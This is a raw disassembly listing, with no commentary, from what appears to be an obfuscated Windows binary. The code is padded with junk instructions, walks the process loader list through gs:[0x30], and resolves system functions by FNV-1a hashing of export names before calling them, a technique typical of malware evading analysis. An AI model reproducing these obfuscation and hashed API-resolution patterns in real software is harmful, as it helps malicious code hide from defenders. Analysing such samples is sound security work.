jmp 0x14060af13
lea rdx, str.__Gclpjjxl
bswap cx
movzx ecx, cx
mov cx, 0x6eb0
lea rcx, [rbp + 0x2710]
call fcn.140023410
mov rbx, rax
test r15b, 0x98
cmp dil, bpl
jmp 0x14060af3f
cmp byte [rax + 0x104], 0
jmp 0x14060af4b
je 0x14060af67
cmp byte [0x14002c99f], 0
jmp 0x14060b245
jne 0x14060b2f3
mov r8d, 0x15
mov byte [rsp + 0x20], 0xf5
movsxd rdx, r10d
mov r9b, 0xc
movsxd rdx, edi
lea rdx, str.rEv:d
xchg ch, ch
lea rcx, [rbp + 0x2820]
jmp 0x14060b274
call fcn.140023410
mov rbx, rax
cmp byte [rax + 0x104], 0
jmp 0x14060b288
je 0x14060b2a2
mov rcx, rax
jmp 0x14060b296
call fcn.1400237b0
mov byte [rbx + 0x104], 0
lea rdx, [rbx + 2]
setge cl
cmovo cx, r10w
xchg cl, cl
mov rcx, qword [0x1400270b0]
jmp 0x14060b2bc
call fcn.140023d50
mov rcx, rax
movsxd rdx, esp
lea rdx, [0x140023f20]
jmp 0x14060b2d3
call qword [0x140027090]
nop
jmp 0x14060b2e7
lea rcx, [rbp + 0x2820]
jmp 0x14060b38d
mov r8d, 0xe
mov byte [rsp + 0x20], 5
cwd
mov r9b, 3
lea rdx, str.__Jpyeqok_to
bswap cx
xchg rcx, rcx
lea rcx, [rbp + 0x2930]
jmp 0x14060b31c
call fcn.140023410
mov rbx, rax
cmp byte [rax + 0x104], 0
jmp 0x14060b330
je 0x14060b34e
mov rcx, rax
call fcn.1400237b0
mov byte [rbx + 0x104], 0
movzx edx, r13w
setl dh
bswap ecx
lea rdx, [rbx + 2]
mov rcx, qword [0x1400270b0]
jmp 0x14060b35e
call fcn.140023d50
mov rcx, rax
setns dh
lea rdx, [0x140023f20]
call qword [0x140027090]
nop
sbb r8w, 0x5f26
test r10b, 0x9e
jmp 0x14060b386
lea rcx, [rbp + 0x2930]
mov r8d, 0x106
jmp 0x14060b39b
xor edx, edx
jmp 0x14060b3a2
call fcn.1400258e4
mov rax, qword [0x14002d288]
test r15b, 0x5f
test rax, rax
jmp 0x14060b3ba
jne 0x14060b585
mov rax, qword gs:[0x30]
rcr cl, cl
shld r10w, bp, 0xbb
movsx r15w, r12b
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
cmp spl, dl
btc r10w, 0x54
mov r15, qword [rax + 0x10]
cmp si, cx
nop dword [rax]
and r14b, cl
cdqe
btr r10w, r12w
nop word [rax + rax]
shld rax, r10, 0xf5
add r14b, cl
movzx r14w, r11b
mov r10, qword [r15 + 0x30]
test r10b, r13b
movsxd rax, dword [r10 + 0x3c]
mov r14b, dl
shr r14w, 0xf4
rcl r14b, 0x53
mov r14d, dword [rax + r10 + 0x88]
test di, r10w
jmp 0x14060b43a
add r14, r10
test r9b, spl
cmp r14, r10
jmp 0x14060b448
je 0x14060b502
mov r9d, r13d
mov ebx, dword [r14 + 0x18]
test cl, r12b
test ebx, ebx
je 0x14060b502
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
mov r11d, r9d
bsf edx, r14d
lea rax, [r10 + r11*4]
movsxd r8, r13d
mov edx, dword [rax + rsi]
mov r8b, r13b
lea rdx, [rdx + r10]
sbb r8b, r15b
sub ah, 0xb6
shld ax, bp, 0x34
mov r8, r13
movzx eax, byte [rdx]
clc
test al, al
je 0x14060b4f1
nop word [rax + rax]
movsx ecx, al
cmp r11w, 0xba3
xor rcx, r8
btr eax, esp
movsx rax, cx
imul r8, rcx, 0x1000193
xor ax, 0x63d9
btr eax, ebx
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test ah, 0x85
test dl, r12b
test al, al
jmp 0x14060b4dd
jne 0x14060b4a8
cmp r8, rdi
jmp 0x14060b4eb
je 0x14060b50a
inc r9d
cmp r9d, ebx
jmp 0x14060b4fc
jb 0x14060b46d
mov r15, qword [r15]
jmp 0x14060b412
mov ecx, dword [r14 + 0x1c]
cmp r8b, 0xa0
rcr sil, 0x9d
lea rcx, [rcx + r10]
test spl, 0x77
shl si, 0x53
mov eax, dword [r14 + 0x24]
lea rax, [rax + r10]
movsx r15, bx
movzx eax, word [rax + r11*2]
movzx si, sil
ror r15b, 0xf
shrd r14, r9, 0xc2
mov eax, dword [rcx + rax*4]
rcr cl, cl
rol r15w, cl
add rax, r10
setb cl
movsx si, bpl
mov qword [0x14002d288], rax
movzx r15, bx
mov esi, dword [rsp + 0x30]
movsx r15d, r15w
xchg r14b, cl
movzx r14, r14w
lea r14, [0x14002c9d0]
cmovs r15w, r9w
movzx rcx, dx
mov r15d, 2
mov ecx, 0x5dc
call rax
nop
xchg ch, ch
cmovae cx, r9w
movzx rcx, r8w
lea rcx, [rbp + 0x5980]
jmp 0x14060b5a4
call fcn.140023640
lea rcx, [0x14002c0e8]
jmp 0x14060b5b5
call fcn.1400eb91c
test al, al
jmp 0x14060b5c1
jne 0x14060a109
mov r8d, 0x14
mov byte [rsp + 0x20], 0xfa
cqo
cdq
mov r9b, 0xf7
movzx cx, r11b
lea rdx, str.Jmmiuqu_ztymzzz
lea rcx, [rbp + 0x11d0]
jmp 0x14060b5f0
call fcn.140023410
mov rbx, rax
jmp 0x14060b5fd
cmp byte [rax + 0x104], 0
jmp 0x14060b609
je 0x14060b626
mov rcx, rax
jmp 0x14060b617
call fcn.1400237b0
mov byte [rbx + 0x104], 0
add ch, 0x2c
lea r8, [rbx + 2]
cmp r8d, r8d
bsf cx, di
jmp 0x14060b636
mov byte [rsp + 0x20], 0
cmc
sub r9d, r9d
mov edx, r15d
lea rcx, [0x14002c0e8]
jmp 0x14060b64e
call fcn.140101a88
nop
sar r8b, 0xa3
sub edx, edx
mov r8w, bx
mov r8d, 0x106
setns ch
movsx rcx, sp
lea rcx, [rbp + 0x11d0]
call fcn.1400258e4
mov rax, qword gs:[0x30]
shrd si, ax, 0x67
movsx r11, cx
btc rsi, rdi
mov rcx, qword [rax + 0x60]
and sil, 0xe9
stc
adc r11, 0xf40592e
mov rax, qword [rcx + 0x18]
btr r11d, 0xab
mov r14, qword [rax + 0x10]
mov sil, r9b
movabs rsi, 0xf919c4347af37e6c
xchg ah, ah
lahf
nop
neg r11d
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
bsf rdi, r9
bsr di, r13w
mov edi, dword [rax + r11 + 0x88]
add rdi, r11
cmc
cmp dl, r13b
cmp rdi, r11
jmp 0x14060b6e7
je 0x14060b7a8
mov r10d, r13d
btc ebx, 0x52
mov ebx, dword [rdi + 0x18]
test ebx, ebx
jmp 0x14060b6fe
je 0x14060b7a8
mov r9d, dword [rdi + 0x20]
sbb ax, bx
lea r9, [r9 + r11]
nop dword [rax]
mov edx, dword [r9]
lea rdx, [rdx + r11]
mov r8, r13
bswap ax
rcr ah, cl
movzx eax, byte [rdx]
cmc
jmp 0x14060b72e
test al, al
jmp 0x14060b735
je 0x14060b78c
movsx ecx, al
shl ax, cl
cmp r11b, 0x79
test r11d, 0x3d07667e
xor rcx, r8
rol r8w, 0x1b
shr r8b, 0x87
imul r8, rcx, 0x1000193
adc al, r10b
rcl rax, 0xf1
lea rdx, [rdx + 1]
movzx ax, r13b
bsr eax, r8d
movzx eax, byte [rdx]
test al, al
jne 0x14060b73b
cmp r8, rsi
jmp 0x14060b786
je 0x140615419
inc r10d
cmc
add r9, 4
cmp r15w, 0x7109
cmp r10d, ebx
jmp 0x14060b7a2
jb 0x14060b716
mov r14, qword [r14]
jmp 0x14060b7b0
jmp 0x14060b6bf
lea rcx, [rbp + 0x6040]
jmp 0x14060b7c1
call fcn.1405ed1d2
nop
lea rcx, [rbp + 0x6040]
jmp 0x14060b7d3
call fcn.14060692f
test al, al
jmp 0x14060b7df
jne 0x14060bac9
cmp byte [0x14002c99f], 0
jmp 0x140614d63
jne 0x140614dff
mov r8d, 0x16
cdq
mov byte [rsp + 0x20], 0xf9
mov dh, 0x22
cqo
mov r9b, 3
cqo
movsxd rdx, eax
setae ch
lea rdx, str.e8i_cu
movsx rcx, r9w
lea rcx, [rbp + 0xfb0]
jmp 0x140614d9c
call fcn.140023410
mov rbx, rax
stc
cmp byte [rax + 0x104], 0
jmp 0x140614db1
je 0x140614dd5
mov rcx, rax
jmp 0x140614dbf
call fcn.1400237b0
mov byte [rbx + 0x104], 0
mov cl, bpl
cmovo cx, r11w
not ecx
lea rcx, [rbx + 2]
jmp 0x140614dde
call fcn.140001040
nop
not rcx
mov cx, r12w
movzx ecx, bp
lea rcx, [rbp + 0xfb0]
jmp 0x140614dfa
jmp 0x140614e84
mov r8d, 0x12
xchg r9b, dl
mov byte [rsp + 0x20], 0xfe
mov r9b, 0xfb
movzx rcx, bp
movsx edx, sp
lea rdx, [0x140027f48]
movsx ecx, dx
mov cl, 0xc0
xchg ch, ch
lea rcx, [rbp + 0x10c0]
jmp 0x140614e31
call fcn.140023410
mov rbx, rax
test rbx, 0x154e06c9
cmp byte [rax + 0x104], 0
jmp 0x140614e4c
je 0x140614e61
mov rcx, rax
call fcn.1400237b0
mov byte [rbx + 0x104], 0
lea rcx, [rbx + 2]
call fcn.140001040
nop
bts rcx, rdi
movzx r8, r9w
lea rcx, [rbp + 0x10c0]
rcl r8b, 0xfa
btr r8w, 0xa5
mov r8d, 0x106
test r10b, sil
cmp r10b, dil
sub edx, edx
jmp 0x140614e97
call fcn.1400258e4
mov rax, qword gs:[0x30]
movsx r15d, cx
rcl r15w, 0x39
ror r15w, 0x14
mov rcx, qword [rax + 0x60]
cmp di, 0x532e
dec r10d
mov rax, qword [rcx + 0x18]
mov r15, qword [rax + 0x10]
or r14b, r14b
movsxd r14, ebp
or r10d, 0x66131988
nop dword [rax]
nop word [rax + rax]
test r9, r12
mov r10, qword [r15 + 0x30]
shrd rax, r11, 0xf4
cdqe
sal eax, cl
movsxd rax, dword [r10 + 0x3c]
mov r14d, dword [rax + r10 + 0x88]
test bpl, r9b
clc
lea r14, [r14 + r10]
jmp 0x140614f0c
cmp r14, r10
jmp 0x140614f14
mov edx, r10d
mov ecx, dword [rdi + 0x24]
shr ah, cl
sbb ah, 4
btc r8w, ax
lea rcx, [rcx + r11]
bts rax, r12
adc al, bpl
sal ax, 0x7f
movzx r8d, word [rcx + rdx*2]
btr ecx, r10d
mov ecx, dword [rdi + 0x1c]
lea rcx, [rcx + r11]
rcl al, cl
not eax
mov eax, dword [rcx + r8*4]
mov ecx, r10d
add rax, r11
sal ch, cl
cmovp cx, r11w
xor edx, edx
cmovbe ecx, r14d
jmp 0x14061546b
lea rcx, [rdx - 1]
call rax
mov qword [0x420], r13
bswap ax
mov rax, qword [0x14002d318]
cmp al, 0xd1
test rax, rax
jmp 0x14061548d
jne 0x14061562a
mov rax, qword gs:[0x30]
movzx edx, cx
clc
mov rcx, qword [rax + 0x60]
jmp 0x1406154a9
mov rax, qword [rcx + 0x18]
sbb bl, ah
cmp esp, ecx
mov r14, qword [rax + 0x10]
cbw
sbb rsi, 0x151e51b5
movabs rdx, 0xcd55c8d2850de2a1
mov rbx, qword [r14 + 0x30]
rcr ax, cl
and esi, r10d
sbb eax, r14d
movsxd rax, dword [rbx + 0x3c]
rcl si, 0x3f
xor rsi, r14
mov rsi, rcx
mov esi, dword [rax + rbx + 0x88]
add rsi, rbx
jmp 0x1406154f2
cmp rsi, rbx
jmp 0x1406154fa
je 0x1406155c9
mov r11d, r13d
btr edi, 0xab
and edi, 0x5657439
rol dil, 0x55
mov edi, dword [rsi + 0x18]
test edi, edi
jmp 0x14061551b
je 0x1406155c9
mov r10d, dword [rsi + 0x20]
cmp r9w, bx
lahf
add r10, rbx
movzx r9, ax
ror ah, 0x44
sal r8b, 0x52
nop dword [rax]
mov r8d, dword [r10]
shl eax, 0xcc
lea r8, [r8 + rbx]
mov r9, r13
btc ax, r14w
rcl al, cl
sar eax, 0xf9
movzx eax, byte [r8]
stc
cmc
test al, al
jmp 0x140615563
je 0x1406155b2
movsx ecx, al
rcl ax, cl
xor rcx, r9
xadd r9w, r9w
stc
shrd ax, ax, 0x97
imul r9, rcx, 0x1000193
inc eax
rcr al, cl
lea r8, [r8 + 1]
or rax, 0x53da759b
movzx eax, byte [r8]
test al, al
jmp 0x14061559e
jne 0x140615569
cmp r9, rdx
jmp 0x1406155ac
je 0x1406155d6
inc r11d
add r10, 4
cmc
clc
cmp r11d, edi
jmp 0x1406155c3
jb 0x14061553f
mov r14, qword [r14]
jmp 0x1406155d1
jmp 0x1406154c8
mov ecx, dword [rsi + 0x24]
movsxd rdx, r9d
bts rdx, rax
mov edx, r11d
cwde
add rcx, rbx
bt r8w, dx
not r8b
movzx r8d, word [rcx + rdx*2]
ror ch, cl
mov ecx, dword [rsi + 0x1c]
sal eax, 0x2e
rcl ax, 0x26
ror ah, cl
lea rcx, [rcx + rbx]
and al, r14b
and ah, 0xf3
mov eax, dword [rcx + r8*4]
lea rax, [rax + rbx]
mov qword [0x14002d318], rax
cmp cl, 0x2d
jmp 0x14061562a
xor ecx, ecx
jmp 0x140615631
call rax
mov r8d, 0x100000
sub edx, edx
mov rcx, rax
jmp 0x140615643
call fcn.1400258e4
sub eax, eax
mov rcx, qword [rbp + 0x6958]
clc
test r15w, sp
stc
xor rcx, rsp
jmp 0x14061565f
call fcn.140024b00
lea r11, [rsp + 0x6a60]
movsx r13, sp
not bh
movzx r13w, bpl
mov rbx, qword [r11 + 0x30]
movzx rdi, r11w
mov r15w, 0x3f22
mov rsi, qword [r11 + 0x38]
setg r13b
jmp 0x140615691
mov rdi, qword [r11 + 0x40]
movsx rbp, ax
movzx r12d, r12w
movsx bp, cl
mov rsp, r11
setle bpl
movsxd r12, r13d
pop r15
pop r14
pop r13
movzx ebp, r12w
movsxd rbp, r13d
pop r12
movsx ebp, r12w
movsx rbp, dx
not bpl
pop rbp
ret